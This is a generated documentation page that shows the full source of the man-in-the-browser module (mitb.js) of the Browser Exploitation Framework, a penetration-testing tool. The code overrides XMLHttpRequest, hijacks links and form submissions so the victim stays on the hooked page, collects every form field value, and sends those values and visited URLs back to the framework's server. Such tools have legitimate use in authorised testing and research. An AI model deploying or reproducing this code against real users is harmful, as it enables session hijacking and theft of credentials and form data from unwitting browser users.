298 lines
12 KiB
HTML
298 lines
12 KiB
HTML
<!DOCTYPE html>
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<html lang="en">
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<head>
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<meta charset="utf-8">
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<title>JSDoc: Source: mitb.js</title>
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<script src="scripts/prettify/prettify.js"> </script>
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<script src="scripts/prettify/lang-css.js"> </script>
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<!--[if lt IE 9]>
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<script src="//html5shiv.googlecode.com/svn/trunk/html5.js"></script>
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<![endif]-->
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<link type="text/css" rel="stylesheet" href="styles/prettify-tomorrow.css">
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<link type="text/css" rel="stylesheet" href="styles/jsdoc-default.css">
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</head>
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<body>
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<div id="main">
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<h1 class="page-title">Source: mitb.js</h1>
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<section>
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<article>
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<pre class="prettyprint source linenums"><code>//
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// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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/**
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* @namespace beef.mitb
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*/
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beef.mitb = {
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cid:null,
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curl:null,
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/** Initializes */
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init:function (cid, curl) {
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beef.mitb.cid = cid;
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beef.mitb.curl = curl;
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/*Override open method to intercept ajax request*/
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var hook_file = "<%= @hook_file %>";
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if (window.XMLHttpRequest && !(window.ActiveXObject)) {
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beef.mitb.sniff("Method XMLHttpRequest.open override");
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(function (open) {
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XMLHttpRequest.prototype.open = function (method, url, async, mitb_call) {
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// Ignore it and don't hijack it. It's either a request to BeEF (hook file or Dynamic Handler)
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// or a request initiated by the MiTB itself.
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if (mitb_call || (url.indexOf(hook_file) != -1 || url.indexOf("/dh?") != -1)) {
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open.call(this, method, url, async, true);
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}else {
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var portRegex = new RegExp(":[0-9]+");
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var portR = portRegex.exec(url);
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var requestPort;
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if (portR != null) { requestPort = portR[0].split(":")[1]; }
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//GET request
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if (method == "GET") {
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//GET request -> cross-origin
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if (url.indexOf(document.location.hostname) == -1 || (portR != null && requestPort != document.location.port )) {
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beef.mitb.sniff("GET [Ajax CrossDomain Request]: " + url);
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window.open(url);
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}else { //GET request -> same-origin
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beef.mitb.sniff("GET [Ajax Request]: " + url);
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if (beef.mitb.fetch(url, document.getElementsByTagName("html")[0])) {
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var title = "";
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if (document.getElementsByTagName("title").length == 0) {
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title = document.title;
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} else {
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title = document.getElementsByTagName("title")[0].innerHTML;
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}
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// write the url of the page
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history.pushState({ Be:"EF" }, title, url);
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}
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}
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}else{
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//POST request
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beef.mitb.sniff("POST ajax request to: " + url);
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open.call(this, method, url, async, true);
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}
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}
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};
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})(XMLHttpRequest.prototype.open);
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}
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},
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/** Initializes the hook on anchors and forms. */
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hook:function () {
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beef.onpopstate.push(function (event) {
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beef.mitb.fetch(document.location, document.getElementsByTagName("html")[0]);
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});
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beef.onclose.push(function (event) {
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beef.mitb.endSession();
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});
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var anchors = document.getElementsByTagName("a");
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var forms = document.getElementsByTagName("form");
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var lis = document.getElementsByTagName("li");
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for (var i = 0; i < anchors.length; i++) {
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anchors[i].onclick = beef.mitb.poisonAnchor;
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}
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for (var i = 0; i < forms.length; i++) {
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beef.mitb.poisonForm(forms[i]);
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}
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for (var i = 0; i < lis.length; i++) {
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if (lis[i].hasAttribute("onclick")) {
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lis[i].removeAttribute("onclick");
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/*clear*/
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lis[i].setAttribute("onclick", "beef.mitb.fetchOnclick('" + lis[i].getElementsByTagName("a")[0] + "')");
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/*override*/
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}
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}
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},
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/** Hooks anchors and prevents them from linking away */
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poisonAnchor:function (e) {
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try {
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e.preventDefault;
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if (beef.mitb.fetch(e.currentTarget, document.getElementsByTagName("html")[0])) {
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var title = "";
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if (document.getElementsByTagName("title").length == 0) {
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title = document.title;
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} else {
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title = document.getElementsByTagName("title")[0].innerHTML;
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}
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history.pushState({ Be:"EF" }, title, e.currentTarget);
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}
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} catch (e) {
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beef.debug('beef.mitb.poisonAnchor - failed to execute: ' + e.message);
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}
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return false;
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},
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/** Hooks forms and prevents them from linking away */
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poisonForm:function (form) {
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form.onsubmit = function (e) {
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// Collect <input> tags.
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var inputs = form.getElementsByTagName("input");
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var query = "";
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for (var i = 0; i < inputs.length; i++) {
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switch (inputs[i].type) {
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case "submit":
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break;
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default:
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query += inputs[i].name + "=" + inputs[i].value + '&';
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break;
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}
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}
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// Collect selected options from the form.
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var selects = form.getElementsByTagName("select");
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for (var i = 0; i < selects.length; i++) {
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var select = selects[i];
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query += select.name + "=" + select.options[select.selectedIndex].value + '&';
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}
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// We should be gathering 'submit' inputs as well, as there are
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// applications demanding this parameter.
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var submit = $j('*[type="submit"]', form);
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if(submit.length) {
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// Append name of the submit button/input.
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query += submit.attr('name') + '=' + submit.attr('value');
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}
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if(query.slice(-1) == '&') {
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query = query.slice(0, -1);
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}
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e.preventdefault;
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beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
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history.pushState({ Be:"EF" }, "", form.action);
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return false;
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}
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},
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/** Fetches a hooked form with AJAX */
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fetchForm:function (url, query, target) {
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try {
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var y = new XMLHttpRequest();
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y.open('POST', url, false, true);
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y.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
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y.onreadystatechange = function () {
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if (y.readyState == 4 && y.responseText != "") {
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target.innerHTML = y.responseText;
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setTimeout(beef.mitb.hook, 10);
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}
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};
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y.send(query);
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beef.mitb.sniff("POST: " + url + "[" + query + "]");
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return true;
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} catch (x) {
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return false;
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}
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},
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/** Fetches a hooked link with AJAX */
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fetch:function (url, target) {
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try {
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var y = new XMLHttpRequest();
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y.open('GET', url, false, true);
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y.onreadystatechange = function () {
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if (y.readyState == 4 && y.responseText != "") {
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target.innerHTML = y.responseText;
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setTimeout(beef.mitb.hook, 10);
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}
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};
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y.send(null);
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beef.mitb.sniff("GET: " + url);
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return true;
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} catch (x) {
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window.open(url);
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beef.mitb.sniff("GET [New Window]: " + url);
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return false;
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}
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},
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/** Fetches a window.location=http://domainname.com and setting up history */
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fetchOnclick:function (url) {
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try {
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var target = document.getElementsByTagName("html")[0];
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var y = new XMLHttpRequest();
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y.open('GET', url, false, true);
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y.onreadystatechange = function () {
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if (y.readyState == 4 && y.responseText != "") {
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var title = "";
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if (document.getElementsByTagName("title").length == 0) {
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title = document.title;
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}
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else {
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title = document.getElementsByTagName("title")[0].innerHTML;
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}
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history.pushState({ Be:"EF" }, title, url);
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target.innerHTML = y.responseText;
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setTimeout(beef.mitb.hook, 10);
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}
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};
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y.send(null);
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beef.mitb.sniff("GET: " + url);
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} catch (x) {
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// the link is cross-origin, so load the resource in a different tab
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window.open(url);
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beef.mitb.sniff("GET [New Window]: " + url);
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}
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},
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/** Relays an entry to the framework */
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sniff:function (result) {
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try {
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beef.net.send(beef.mitb.cid, beef.mitb.curl, result);
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} catch (x) {
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}
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return true;
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},
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/** Signals the Framework that the user has lost the hook */
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endSession:function () {
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beef.mitb.sniff("Window closed.");
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}
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};
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beef.regCmp('beef.mitb');
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</code></pre>
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</article>
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</section>
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</div>
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<nav>
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<h2><a href="index.html">Home</a></h2><h3>Namespaces</h3><ul><li><a href="beef.are.html">are</a></li><li><a href="beef.browser.html">browser</a></li><li><a href="beef.browser.cookie.html">cookie</a></li><li><a href="beef.browser.popup.html">popup</a></li><li><a href="beef.dom.html">dom</a></li><li><a href="beef.encode.base64.html">base64</a></li><li><a href="beef.encode.json.html">json</a></li><li><a href="beef.geolocation.html">geolocation</a></li><li><a href="beef.hardware.html">hardware</a></li><li><a href="beef.init.html">init</a></li><li><a href="beef.logger.html">logger</a></li><li><a href="beef.mitb.html">mitb</a></li><li><a href="beef.net.html">net</a></li><li><a href="beef.net.connection.html">connection</a></li><li><a href="beef.net.cors.html">cors</a></li><li><a href="beef.net.dns.html">dns</a></li><li><a href="beef.net.local.html">local</a></li><li><a href="beef.net.portscanner.html">portscanner</a></li><li><a href="beef.net.requester.html">requester</a></li><li><a href="beef.net.xssrays.html">xssrays</a></li><li><a href="beef.os.html">os</a></li><li><a href="beef.session.html">session</a></li><li><a href="beef.timeout.html">timeout</a></li><li><a href="beef.updater.html">updater</a></li><li><a href="beef.webrtc.html">webrtc</a></li><li><a href="beef.websocket.html">websocket</a></li><li><a href="BeefJS.html">BeefJS</a></li><li><a href="browser_jools.html">browser_jools</a></li><li><a href="platform.html">platform</a></li></ul>
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</nav>
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<br class="clear">
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<footer>
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Documentation generated by <a href="https://github.com/jsdoc/jsdoc">JSDoc 3.6.3</a> on Thu Jan 02 2020 16:29:11 GMT+1000 (Australian Eastern Standard Time)
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</footer>
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<script> prettyPrint(); </script>
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<script src="scripts/linenumber.js"> </script>
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